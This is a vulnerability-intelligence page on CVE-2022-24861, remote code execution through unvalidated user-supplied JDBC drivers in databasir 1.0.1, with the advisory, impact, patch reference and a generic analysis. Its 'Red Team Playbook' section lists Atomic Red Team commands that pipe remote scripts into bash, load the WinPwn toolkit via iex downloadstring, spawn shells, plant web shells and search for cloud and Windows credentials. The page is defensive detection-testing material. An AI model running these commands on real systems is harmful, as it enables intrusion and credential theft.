CVE-2022-24861
Overview
The vulnerability is a remote code execution flaw caused by improper validation of JDBC drivers within the databasir 1.0.1 platform. The system accepts user-supplied JDBC driver inputs without verification, allowing malicious code embedded in these drivers to execute within the application context. This issue affects the component responsible for handling database connectivity and driver loading in databasir's relational database model document management platform.
Vulnerability Description
Databasir is a team-oriented relational database model document management platform. Databasir 1.01 has remote code execution vulnerability. JDBC drivers are not validated prior to use and may be provided by users of the system. This can lead to code execution by any basic user who has access to the system. Users are advised to upgrade. There are no known workarounds to this issue.
Impact
An attacker with basic authenticated access to the databasir system can execute arbitrary code remotely by supplying a malicious JDBC driver. This capability allows full compromise of the application environment, including unauthorized data access, modification, or service disruption. The vulnerability requires low privileges (PR:L) but no user interaction (UI:N) and is exploitable over the network (AV:N), resulting in high confidentiality, integrity, and availability impacts as reflected in the CVSS vector.
Solution
Users of databasir version 1.0.1 should upgrade to the patched version incorporating the fix merged via GitHub pull request #103, which enforces JDBC driver validation. Detailed patch instructions and advisory information are available in the official GitHub security advisory GHSA-5r2v-wcwh-7xmp. No alternative workarounds exist, so applying the vendor-supplied update is essential to remediate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Databasir platform arises from the improper validation of JDBC drivers before their utilization. This oversight allows users, including those with minimal privileges, to supply malicious JDBC drivers that can be executed within the context of the application. The lack of stringent checks means that any user with access to the system can potentially upload and execute arbitrary code. This vulnerability is particularly concerning as it opens the door for attackers to manipulate the database environment, leading to unauthorized access, data breaches, and system compromise.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage social engineering techniques to convince a legitimate user to upload a malicious JDBC driver, or they could directly access the system if they possess valid credentials. Once the malicious driver is executed, the attacker can gain control over the database, execute arbitrary commands, or even escalate privileges to gain further access to the underlying server. This scenario highlights the ease with which an attacker can exploit the vulnerability, especially in environments where users are not adequately trained in security best practices.
The real-world impact of this vulnerability is significant. Organizations using the Databasir platform may face severe business risks, including data loss, financial theft, and reputational damage. The potential for remote code execution means that attackers could not only access sensitive data but also manipulate or delete it, leading to compliance issues and legal ramifications. Furthermore, the high CVSS score of 8.8 indicates that this vulnerability poses a critical threat, necessitating immediate attention from organizations utilizing this platform. The financial implications of a successful attack could be substantial, encompassing costs related to incident response, recovery, and potential regulatory fines.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is crucial to conduct a thorough inventory of all instances of the Databasir platform in use and assess their configurations. Regular security audits and vulnerability assessments should be performed to identify any instances of the vulnerable version. Organizations should also enforce strict access controls, ensuring that only trusted users can upload JDBC drivers. Additionally, implementing a robust application firewall can help monitor and filter malicious requests. Upgrading to a patched version of the Databasir platform is essential, as this will close the vulnerability and protect against potential exploitation.
In conclusion, the remote code execution vulnerability in the Databasir platform presents a serious threat to organizations that rely on this document management system. The ease of exploitation, coupled with the potential for significant real-world impact, underscores the need for immediate action. By prioritizing detection and mitigation strategies, organizations can safeguard their systems against this vulnerability and enhance their overall security posture. Continuous monitoring and user education will also play a crucial role in preventing future incidents and ensuring that the integrity of the database environment is maintained.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Databasir | Databasir | 1.0.1 |
cpe:2.3:a:databasir:databasir:1.0.1:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-24861 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/vran-dev/databasir/security/advisories/GHSA-5r2v-wcwh-7xmp |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/vran-dev/databasir/pull/103 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/vran-dev/databasir/commit/ca22a8fef7a31c0235b0b2951260a7819b89993b |